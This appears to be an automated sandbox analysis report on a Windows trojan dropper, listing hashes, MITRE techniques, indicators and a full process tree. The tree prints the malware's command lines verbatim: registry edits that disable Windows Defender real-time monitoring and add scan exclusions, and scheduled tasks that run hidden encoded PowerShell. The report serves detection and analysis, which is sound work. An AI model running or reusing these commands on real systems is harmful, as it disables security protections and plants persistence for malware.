f9b99556e933fcb1d6b45e6288e36ea17d720ca35321874a2cd5471072d4f1bd

Analysis

max time kernel
154s
max time network
135s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
30-10-2022 17:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

3b0c5f2340a8e359dc54b4d1a4a89b6a
SHA1

2bb5952c0413939d5eeae39bfdcf929b5eaf0d0a
SHA256

f9b99556e933fcb1d6b45e6288e36ea17d720ca35321874a2cd5471072d4f1bd
SHA512

6a05a00f08bc8d09adaf1a55099effb1d6bf18f640a332469e9fab8a6db9e5e44eb55f794de9fbbfbba62e44201a14f767260fff5972dde52ec210ba43830c9f
SSDEEP

196608:91OrAJ+1rJEqNsZFI0nt2toft+sca73VJr3RuCJ548Ug2eCbN6+:3OrAJgrJ6ZFI4oecmFx3gaWLeCx6+

Score

10^/10

evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jHDOiLeiVJMQtvoevNR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\miVPcBzbdjnU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jHDOiLeiVJMQtvoevNR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\RILKhWvfNgUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\YLxxnXwFTRdwMLVMh = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHELeprhPXmAcQZw = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BfBXaCGqryvIC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\RILKhWvfNgUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aZyDbPjGU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aZyDbPjGU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BfBXaCGqryvIC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\qWNxXtFdRGCpVhVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\miVPcBzbdjnU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHELeprhPXmAcQZw = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\YLxxnXwFTRdwMLVMh = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHELeprhPXmAcQZw = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHELeprhPXmAcQZw = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\qWNxXtFdRGCpVhVB = "0"	reg.exe

Executes dropped EXE 3 IoCs

pid	Process
1052	Install.exe
1252	Install.exe
1788	yywPadh.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
2036	file.exe
1052	Install.exe
1052	Install.exe
1052	Install.exe
1052	Install.exe
1252	Install.exe
1252	Install.exe
1252	Install.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	yywPadh.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	yywPadh.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	yywPadh.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bnSGuSkVMPStTmmuin.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
544	schtasks.exe
1700	schtasks.exe
1696	schtasks.exe
904	schtasks.exe
1676	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1564	powershell.EXE
1564	powershell.EXE
1564	powershell.EXE
748	powershell.EXE
748	powershell.EXE
748	powershell.EXE
812	powershell.EXE
812	powershell.EXE
812	powershell.EXE

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1564	powershell.EXE
Token: SeDebugPrivilege	748	powershell.EXE
Token: SeDebugPrivilege	812	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 1052	2036	file.exe	26
PID 2036 wrote to memory of 1052	2036	file.exe	26
PID 2036 wrote to memory of 1052	2036	file.exe	26
PID 2036 wrote to memory of 1052	2036	file.exe	26
PID 2036 wrote to memory of 1052	2036	file.exe	26
PID 2036 wrote to memory of 1052	2036	file.exe	26
PID 2036 wrote to memory of 1052	2036	file.exe	26
PID 1052 wrote to memory of 1252	1052	Install.exe	27
PID 1052 wrote to memory of 1252	1052	Install.exe	27
PID 1052 wrote to memory of 1252	1052	Install.exe	27
PID 1052 wrote to memory of 1252	1052	Install.exe	27
PID 1052 wrote to memory of 1252	1052	Install.exe	27
PID 1052 wrote to memory of 1252	1052	Install.exe	27
PID 1052 wrote to memory of 1252	1052	Install.exe	27
PID 1252 wrote to memory of 1776	1252	Install.exe	29
PID 1252 wrote to memory of 1776	1252	Install.exe	29
PID 1252 wrote to memory of 1776	1252	Install.exe	29
PID 1252 wrote to memory of 1776	1252	Install.exe	29
PID 1252 wrote to memory of 1776	1252	Install.exe	29
PID 1252 wrote to memory of 1776	1252	Install.exe	29
PID 1252 wrote to memory of 1776	1252	Install.exe	29
PID 1252 wrote to memory of 1808	1252	Install.exe	31
PID 1252 wrote to memory of 1808	1252	Install.exe	31
PID 1252 wrote to memory of 1808	1252	Install.exe	31
PID 1252 wrote to memory of 1808	1252	Install.exe	31
PID 1252 wrote to memory of 1808	1252	Install.exe	31
PID 1252 wrote to memory of 1808	1252	Install.exe	31
PID 1252 wrote to memory of 1808	1252	Install.exe	31
PID 1776 wrote to memory of 1096	1776	forfiles.exe	33
PID 1776 wrote to memory of 1096	1776	forfiles.exe	33
PID 1776 wrote to memory of 1096	1776	forfiles.exe	33
PID 1808 wrote to memory of 1296	1808	forfiles.exe	34
PID 1808 wrote to memory of 1296	1808	forfiles.exe	34
PID 1808 wrote to memory of 1296	1808	forfiles.exe	34
PID 1776 wrote to memory of 1096	1776	forfiles.exe	33
PID 1776 wrote to memory of 1096	1776	forfiles.exe	33
PID 1776 wrote to memory of 1096	1776	forfiles.exe	33
PID 1776 wrote to memory of 1096	1776	forfiles.exe	33
PID 1808 wrote to memory of 1296	1808	forfiles.exe	34
PID 1808 wrote to memory of 1296	1808	forfiles.exe	34
PID 1808 wrote to memory of 1296	1808	forfiles.exe	34
PID 1808 wrote to memory of 1296	1808	forfiles.exe	34
PID 1096 wrote to memory of 1184	1096	cmd.exe	36
PID 1096 wrote to memory of 1184	1096	cmd.exe	36
PID 1096 wrote to memory of 1184	1096	cmd.exe	36
PID 1096 wrote to memory of 1184	1096	cmd.exe	36
PID 1096 wrote to memory of 1184	1096	cmd.exe	36
PID 1096 wrote to memory of 1184	1096	cmd.exe	36
PID 1096 wrote to memory of 1184	1096	cmd.exe	36
PID 1296 wrote to memory of 1832	1296	cmd.exe	35
PID 1296 wrote to memory of 1832	1296	cmd.exe	35
PID 1296 wrote to memory of 1832	1296	cmd.exe	35
PID 1296 wrote to memory of 1832	1296	cmd.exe	35
PID 1296 wrote to memory of 1832	1296	cmd.exe	35
PID 1296 wrote to memory of 1832	1296	cmd.exe	35
PID 1296 wrote to memory of 1832	1296	cmd.exe	35
PID 1096 wrote to memory of 1016	1096	cmd.exe	37
PID 1096 wrote to memory of 1016	1096	cmd.exe	37
PID 1096 wrote to memory of 1016	1096	cmd.exe	37
PID 1296 wrote to memory of 1672	1296	cmd.exe	38
PID 1296 wrote to memory of 1672	1296	cmd.exe	38
PID 1296 wrote to memory of 1672	1296	cmd.exe	38
PID 1096 wrote to memory of 1016	1096	cmd.exe	37
PID 1096 wrote to memory of 1016	1096	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Users\Admin\AppData\Local\Temp\7zS80B5.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1052
- - C:\Users\Admin\AppData\Local\Temp\7zS98F6.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1252
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1776
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1096
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1184
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1016
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1808
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1296
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1832
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1672
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gXZlPuBQC" /SC once /ST 13:40:43 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1696
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gXZlPuBQC"
      4⤵
      PID:1256
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gXZlPuBQC"
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bnSGuSkVMPStTmmuin" /SC once /ST 18:27:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\YLxxnXwFTRdwMLVMh\ZLyVHNmXIWjCvSJ\yywPadh.exe\" PO /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:904

C:\Windows\system32\taskeng.exe
taskeng.exe {A5E5AC8B-FE41-4058-B00D-9DFC649AA1A7} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
1⤵
PID:1756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1564
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:748
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:812
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1676

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1620

C:\Windows\system32\taskeng.exe
taskeng.exe {A702BB09-58BD-4400-88A3-8F1A05048141} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1572
- C:\Users\Admin\AppData\Local\Temp\YLxxnXwFTRdwMLVMh\ZLyVHNmXIWjCvSJ\yywPadh.exe
  C:\Users\Admin\AppData\Local\Temp\YLxxnXwFTRdwMLVMh\ZLyVHNmXIWjCvSJ\yywPadh.exe PO /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1788
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gSbLJUMVM" /SC once /ST 11:11:34 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1676
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gSbLJUMVM"
    3⤵
    PID:556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gSbLJUMVM"
    3⤵
    PID:336
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1564
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1576
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1504
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gzsmnbWpj" /SC once /ST 06:16:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gzsmnbWpj"
    3⤵
    PID:944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gzsmnbWpj"
    3⤵
    PID:1752
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHELeprhPXmAcQZw" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:112
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHELeprhPXmAcQZw" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1780
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHELeprhPXmAcQZw" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1368
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHELeprhPXmAcQZw" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1016
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHELeprhPXmAcQZw" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1708
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHELeprhPXmAcQZw" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1856
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHELeprhPXmAcQZw" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:520
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHELeprhPXmAcQZw" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1548
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\nHELeprhPXmAcQZw\lpgGKUrB\gKFtaZKRehdwXIhe.wsf"
    3⤵
    PID:580
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\nHELeprhPXmAcQZw\lpgGKUrB\gKFtaZKRehdwXIhe.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:820
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BfBXaCGqryvIC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1204
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BfBXaCGqryvIC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1988
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RILKhWvfNgUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:904
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RILKhWvfNgUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:956
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aZyDbPjGU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1588
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aZyDbPjGU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:800
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jHDOiLeiVJMQtvoevNR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1076
